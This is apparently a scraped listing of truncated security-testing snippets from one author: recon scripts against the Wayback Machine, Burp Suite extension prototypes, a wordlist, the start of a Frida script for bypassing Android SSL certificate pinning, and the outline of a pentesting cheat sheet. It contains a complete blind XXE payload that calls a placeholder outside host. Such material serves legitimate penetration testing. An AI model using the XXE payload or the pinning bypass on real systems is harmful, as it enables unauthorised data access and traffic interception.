chanpu9

#!/usr/bin/env python3

from argparse import ArgumentParser, Namespace
import os
import base64
import json

def main(srcFile: str, dstFile:str) -> None:

        if not os.path.isfile(srcFile):

chanpu9

'use strict';

const crypto = require('crypto');

const ENCRYPTION_KEY = process.env.ENCRYPTION_KEY; // Must be 256 bits (32 characters)
const IV_LENGTH = 16; // For AES, this is always 16

function encrypt(text) {
 let iv = crypto.randomBytes(IV_LENGTH);
 let cipher = crypto.createCipheriv('aes-256-cbc', Buffer.from(ENCRYPTION_KEY), iv);

chanpu9

import requests
import sys
import json


def waybackurls(host, with_subs):
    if with_subs:
        url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
    else:
        url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host

chanpu9

import requests
import re
import sys
from multiprocessing.dummy import Pool


def robots(host):
    r = requests.get(
        'https://web.archive.org/cdx/search/cdx\
        ?url=%s/robots.txt&output=json&fl=timestamp,original&filter=statuscode:200&collapse=digest' % host)

chanpu9

//
//
// PROTOTYPE Passive Sensitive Information Observer
//
// test with https://ginandjuice.shop/
//
// This has been tested with Burp Suite Pro to trial the concept.
//
// Ollie Whitehouse - @ollieatnowhere
//

chanpu9

0
00
01
02
03
1
1.0
10
100
1000

chanpu9

//
//
// PROTOTYPE Google Safe Browsing URL Reputation Burp Suite scanner extension
//
// The concept is that organisations will want to use Burp Suite Enterprise edition
// to continually scan their websites to see if they include / reference any known 
// malicious URLs i.e. they have latterly breached etc.. This is a prototype of this 
// concept using an extension and the Google Safe Browsing API.
//
// You need a API key from Google, details on how to obtain one can be found here 

chanpu9

/*  Android ssl certificate pinning bypass script for various methods
	by Maurizio Siddu
	
	Run with:
	frida -U -f [APP_ID] -l frida_multiple_unpinning.js --no-pause
*/

setTimeout(function() {
	Java.perform(function() {
		console.log('');

chanpu9

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

chanpu9

Pentesting-Exploitation

Pentesting-Exploitation Programs and Commands , Protocols Network / Ports

Table of Contents

• Table of Contents
• Recon
  • File enumeration
• Disk files